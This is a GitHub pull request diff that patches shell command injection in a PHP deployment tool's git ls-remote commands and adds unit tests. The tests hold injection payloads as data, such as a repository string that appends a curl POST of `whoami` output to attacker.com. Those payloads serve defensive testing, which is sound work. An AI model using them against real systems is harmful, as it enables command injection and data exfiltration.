Merge pull request #6887 from coollabsio/fix-command-injection-deploy-key
fix: prevent command injection in git ls-remote operations
This commit is contained in:
commit
92e5fb247d
2 changed files with 116 additions and 6 deletions
|
|
@ -1064,18 +1064,24 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_
|
|||
$source_html_url_scheme = $url['scheme'];
|
||||
|
||||
if ($this->source->getMorphClass() == 'App\Models\GithubApp') {
|
||||
$escapedCustomRepository = escapeshellarg($customRepository);
|
||||
if ($this->source->is_public) {
|
||||
$escapedRepoUrl = escapeshellarg("{$this->source->html_url}/{$customRepository}");
|
||||
$fullRepoUrl = "{$this->source->html_url}/{$customRepository}";
|
||||
$base_command = "{$base_command} {$this->source->html_url}/{$customRepository}";
|
||||
$base_command = "{$base_command} {$escapedRepoUrl}";
|
||||
} else {
|
||||
$github_access_token = generateGithubInstallationToken($this->source);
|
||||
|
||||
if ($exec_in_docker) {
|
||||
$base_command = "{$base_command} $source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git";
|
||||
$fullRepoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git";
|
||||
$repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git";
|
||||
$escapedRepoUrl = escapeshellarg($repoUrl);
|
||||
$base_command = "{$base_command} {$escapedRepoUrl}";
|
||||
$fullRepoUrl = $repoUrl;
|
||||
} else {
|
||||
$base_command = "{$base_command} $source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}";
|
||||
$fullRepoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}";
|
||||
$repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}";
|
||||
$escapedRepoUrl = escapeshellarg($repoUrl);
|
||||
$base_command = "{$base_command} {$escapedRepoUrl}";
|
||||
$fullRepoUrl = $repoUrl;
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -1100,7 +1106,10 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_
|
|||
throw new RuntimeException('Private key not found. Please add a private key to the application and try again.');
|
||||
}
|
||||
$private_key = base64_encode($private_key);
|
||||
$base_comamnd = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$base_command} {$customRepository}";
|
||||
// When used with executeInDocker (which uses bash -c '...'), we need to escape for bash context
|
||||
// Replace ' with '\'' to safely escape within single-quoted bash strings
|
||||
$escapedCustomRepository = str_replace("'", "'\\''", $customRepository);
|
||||
$base_comamnd = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$base_command} '{$escapedCustomRepository}'";
|
||||
|
||||
if ($exec_in_docker) {
|
||||
$commands = collect([
|
||||
|
|
|
|||
101
tests/Unit/ApplicationGitSecurityTest.php
Normal file
101
tests/Unit/ApplicationGitSecurityTest.php
Normal file
|
|
@ -0,0 +1,101 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\GithubApp;
|
||||
use App\Models\PrivateKey;
|
||||
|
||||
afterEach(function () {
|
||||
Mockery::close();
|
||||
});
|
||||
|
||||
it('escapes malicious repository URLs in deploy_key type', function () {
|
||||
// Arrange: Create a malicious repository URL
|
||||
$maliciousRepo = 'git@github.com:user/repo.git;curl https://attacker.com/ -X POST --data `whoami`';
|
||||
$deploymentUuid = 'test-deployment-uuid';
|
||||
|
||||
// Mock the application
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->git_branch = 'main';
|
||||
$application->shouldReceive('deploymentType')->andReturn('deploy_key');
|
||||
$application->shouldReceive('customRepository')->andReturn([
|
||||
'repository' => $maliciousRepo,
|
||||
'port' => 22,
|
||||
]);
|
||||
|
||||
// Mock private key
|
||||
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
|
||||
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
|
||||
$application->shouldReceive('getAttribute')->with('private_key')->andReturn($privateKey);
|
||||
|
||||
// Act: Generate git ls-remote commands
|
||||
$result = $application->generateGitLsRemoteCommands($deploymentUuid, true);
|
||||
|
||||
// Assert: The command should contain escaped repository URL
|
||||
expect($result)->toHaveKey('commands');
|
||||
$command = $result['commands'];
|
||||
|
||||
// The malicious payload should be escaped and not executed
|
||||
expect($command)->toContain("'git@github.com:user/repo.git;curl https://attacker.com/ -X POST --data `whoami`'");
|
||||
|
||||
// The command should NOT contain unescaped semicolons or backticks that could execute
|
||||
expect($command)->not->toContain('repo.git;curl');
|
||||
});
|
||||
|
||||
it('escapes malicious repository URLs in source type with public repo', function () {
|
||||
// Arrange: Create a malicious repository name
|
||||
$maliciousRepo = "user/repo';curl https://attacker.com/";
|
||||
$deploymentUuid = 'test-deployment-uuid';
|
||||
|
||||
// Mock the application
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->git_branch = 'main';
|
||||
$application->shouldReceive('deploymentType')->andReturn('source');
|
||||
$application->shouldReceive('customRepository')->andReturn([
|
||||
'repository' => $maliciousRepo,
|
||||
'port' => 22,
|
||||
]);
|
||||
|
||||
// Mock GithubApp source
|
||||
$source = Mockery::mock(GithubApp::class)->makePartial();
|
||||
$source->shouldReceive('getAttribute')->with('html_url')->andReturn('https://github.com');
|
||||
$source->shouldReceive('getAttribute')->with('is_public')->andReturn(true);
|
||||
$source->shouldReceive('getMorphClass')->andReturn('App\Models\GithubApp');
|
||||
|
||||
$application->shouldReceive('getAttribute')->with('source')->andReturn($source);
|
||||
$application->source = $source;
|
||||
|
||||
// Act: Generate git ls-remote commands
|
||||
$result = $application->generateGitLsRemoteCommands($deploymentUuid, true);
|
||||
|
||||
// Assert: The command should contain escaped repository URL
|
||||
expect($result)->toHaveKey('commands');
|
||||
$command = $result['commands'];
|
||||
|
||||
// The command should contain the escaped URL (escapeshellarg wraps in single quotes)
|
||||
expect($command)->toContain("'https://github.com/user/repo'\\''");
|
||||
});
|
||||
|
||||
it('escapes repository URLs in other deployment type', function () {
|
||||
// Arrange: Create a malicious repository URL
|
||||
$maliciousRepo = "https://github.com/user/repo.git';curl https://attacker.com/";
|
||||
$deploymentUuid = 'test-deployment-uuid';
|
||||
|
||||
// Mock the application
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->git_branch = 'main';
|
||||
$application->shouldReceive('deploymentType')->andReturn('other');
|
||||
$application->shouldReceive('customRepository')->andReturn([
|
||||
'repository' => $maliciousRepo,
|
||||
'port' => 22,
|
||||
]);
|
||||
|
||||
// Act: Generate git ls-remote commands
|
||||
$result = $application->generateGitLsRemoteCommands($deploymentUuid, true);
|
||||
|
||||
// Assert: The command should contain escaped repository URL
|
||||
expect($result)->toHaveKey('commands');
|
||||
$command = $result['commands'];
|
||||
|
||||
// The malicious payload should be escaped (escapeshellarg wraps and escapes quotes)
|
||||
expect($command)->toContain("'https://github.com/user/repo.git'\\''");
|
||||
});
|
||||
Loading…
Reference in a new issue